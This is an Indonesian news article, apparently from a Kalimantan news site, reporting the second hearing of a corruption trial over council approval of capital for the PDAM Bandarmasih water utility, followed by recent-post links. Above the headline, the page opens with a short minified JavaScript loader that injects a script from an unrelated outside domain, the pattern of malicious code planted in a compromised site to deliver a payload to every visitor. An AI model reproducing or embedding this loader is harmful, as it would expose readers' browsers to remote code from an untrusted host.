(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Persekongkolan Bagi-bagi Uang Terkuak, Sejumlah Anggota Dewan Diduga Terima Jatah!


BANJARMASIN, Sidang kedua kasus dugaan korupsi Raperda Penyertaan Modal PDAM Bandarmasih sebesar Rp 50,7 miliar yang berlangsung Senin (28/11) di PN Tipikor Banjarmasin menguak banyak hal. Sejumlah saksi yang dihadirkan Jaksa Penuntut Umum (JPU) dari KPK memperkuat dugaan bagi-bagi jatah dari uang yang beredar guna memuluskan lolosnya Perda tersebut.

Ada sebanyak 12 saksi yang dihadirkan JPU. Saking banyaknya, hingga sidang yang mengagendakan mendengar keterangan saksi jaksa penuntut tersebut dibagi menjadi dua sesi. Dan tak seperti sidang hari pertama yang berlangsung singkat, kali ini berlangsung hingga sore!

Saksi yang dihadirkan oleh JPU yang diketuai Kiki Ahmad Yani terdiri dari anggota DPRD Banjarmasin dan Direktur Operasional PT Chindra Santi Pratama yang merupakan rekanan dari PDAM Bandarmasih. Di antara saksi dari legislatif yang hadir, selain bekas Ketua DPRD Banjarmasin Iwan Rusmali dan Ketua Pansus PDAM Andi Effendi, juga hadir Hj Ananda (Ketua DPRD saat ini yang menggantikan Iwan Rusmali, red),  Ahmad Rudiyani, Heri Edward, Abdul Gais, Dedi Sofyan, M. Suryani, Agus Suprapto, suprayogi dan Budiyanto. Sedangkan dari rekanan PDAM yang diminta keterangannya adalah Imam Purnama dari PT Chindra Santi Pratama yang menjabat sebagai Direktur Operasional.

Dalam sidang tersebut, JPU membuka rekaman yang membongkar kedok aksi bagi-bagi untuk memuluskan Raperda Penyertaan Modal PDAM. Misalnya saja, ketika dibuka rekaman percakapan anatara Imam Purnama dengan Muslih terkait permintaan uang Rp 250 juta.

Terkait uang Rp 250 juta yang diberikan Imam Purnama, dia mengatakan Muslih meminta dengan dalih untuk acara resepsi anaknya. Hal ini dipertanyakan Hakim dan JPU, dalam sidang apakah Rp 250 juta itu dari uang pribadi atau dari PT CSP. Mengingat untuk uang sebanyak itu tidak sembarangan orang bisa meminjamkan tanpa ada persetujuan dan jaminan.

Namun Imam menanggapi bahwa dia percaya kepada Muslih.

“Saya percaya dengan Bapak Muslih selaku Dirut PDAM Bandarmasih, dan  pada saat itu saya sedang memegang uang itu dan meminjamkannya bukan memberikan,” bantahnya.


Page: 1 2 3

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.